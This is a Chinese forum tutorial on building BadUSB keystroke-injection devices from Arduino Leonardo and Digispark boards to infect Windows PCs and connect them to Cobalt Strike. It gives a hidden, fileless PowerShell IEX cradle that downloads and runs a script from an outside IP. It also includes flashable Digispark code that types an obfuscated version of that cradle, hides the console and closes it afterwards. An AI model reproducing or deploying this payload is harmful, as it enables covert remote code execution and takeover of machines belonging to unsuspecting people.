本帖最后由 zhaorong 于 2021-10-28 16:14 编辑
声明:本文仅仅谈论近源渗透中的HID攻击配合CobaltStrike的思路与实践记录 文中所有利用的工具
将不会在本论坛内进行分享。
前言
在之前的一些文章中 做了一些关于近源渗透的文章分享。那么其中的一篇文章提到了用Kali Nethunter
发起的Rucky攻击类BadUSB我们下面的Payload只需要稍加修改就可以利用上去。
这篇文章中 主要我们来聊一聊HID攻击。
什么是HID?
HID(HumanInterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备
模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前
还有两种HID攻击分别是teensy和USB RUBBERDUCKY(usb橡皮鸭)。国科漏斗社区先介绍以下这三种类型有何不同。
USB橡皮鸭是一个比较早的按键注入工具。可以根据对应的要求定制软件。但是很早之前价格比较昂贵
目前已经在市场上形成了一种普遍的商业模式。
Teensy是拥有芯片且功能完整的单片机开发系统,可模拟键盘和鼠标,经开发的TeensyUSB可以被电脑识别成鼠
标或键盘进而执行编程的恶意代码。价格较为亲民,开源性比较强。并且可以与Kali配合使用。
两种设备
前面已经提到了,我们有很多种方式可以去制作BadUSB,我们先来购买一下我们所需要的设备。什么?没钱?
文章回复评论将随机抽取用户送出本节课的部分设备。
我们本篇主要介绍两种制作方法。Teensy和Digispark(橡皮鸭)这两种制作方式。
Teensy制作
准备材料:
1.Arduino Leonardo
便宜的淘宝上有抄板的设备
2.Micro转USB
3.电脑一台
4.Arduino IDE
设备清单
设备名 途径 价格
Arduino Leonardo 淘宝/某多等 20-40
Micro转USB 淘宝/某多等 4
使用Arduino IDE来编写程序:
选择开发板
随后选择开发板的端口
Arduino使用的是C语言编写,setup函数在设备运行后执行一次 而loop会循环执行
这是两个函数的根本区别。
下面我们来写一个例子:
值得注意的是:
Keyboard.press完一定要Keyboard.release释放按键, 不然会一直按。
Digispark方法
Digispark的优点就是比上面的设备造价稍微便宜一点,网上有现成的外壳可供购买。电路公开。
购买了Digispark的Ant85后,我们需要安装Digispark的驱动:
官方教程:http://digistump.com/wiki/digispark/tutorials/connecting
附加开发板地址http://digistump.com/package_digistump_index.json
进入开发板管理页面
搜索找到DigistumpAVR Boards项后点击安装
等待开发板管理器安装完成
驱动下载:https://github.com/digistump/DigistumpArduino
打开已下载的驱动目录选择安装与操作系统相符的程序运行
打开计算机的设备管理器并显示隐藏设备
插入Digispark开发板
注意:如果你的电脑是第一次连接Digispark开发板则会听到USB设备连接的提示音,不过过了大
概5秒左右就断开连接了,这是因为无法识别USB驱动造成的。如果不是第一次连接则可能再次
插入Digispark时计算机就没有反应了。
测试上传
点击上传等待控制台出现提示需要连接开发板再进行连接
控制台提示连接设备,将开发板连接到计算机
写入状态说明
如果出现下图提示则说明你上传成功!!
如果出现下图提示则是连接超时,如果超时可以尝试换个usb口或是重新安装驱动
免杀制作上线CS
由于有文件落地的动作太大,所以这里选择无文件落地的
powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://192.168.52.23:80/a'))"
此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行
IEX(Invoke-expression)作用是将字符串当成powershell命令执行,并且是加载到内存中执行不会有文件落地
准备好要烧录的代码
注:由于各个开发板的按键语法都有些差异,导致过程就很繁琐
找到一个大佬的转换脚本:https://github.com/Catboy96/Automator/
要烧录的代码如下:
- #include "DigiKeyboard.h"void setup() { // put your setup code here, to run once: DigiKeyboard.delay(2000);//为
- 等待2秒 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//发送win+R DigiKeyboard.delay(800); DigiKeyboar
- d.println("cmd /T:01 /K mode CON: COLS=16 LINES=1");//将cmd窗口最小化保证隐蔽性 DigiKeyboard.delay(2000);
- DigiKeyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).do
- wnloadstring('http://192.119.1.106:91/a') | powershell -");//要执行的payload DigiKeyboard.delay(3500); DigiKeyb
- oard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//执行完成后alt+F4关闭窗口} void loop() { // put your main code he
- re, to run repeatedly: }
复制代码
可以看到这是基于C写的,本来想补充的完善一点可是发现一些键根本找不到啊!!!
解释一下为啥每条命令后面都需要等待时间,这是为了给处理器足够的时间进行响应 如果太短
后面的命令将都不会执行或者执行出错。
6,选择箭头指向的上传烧录按钮,之后下面会出现两行红色代码就是要在60S内把badusb插入
必须在这时候插入之前插入都不可以。这也是这个开发板的弊端了。
完成后将会自动执行
真的是插谁谁上线啊
到此基本完成了 |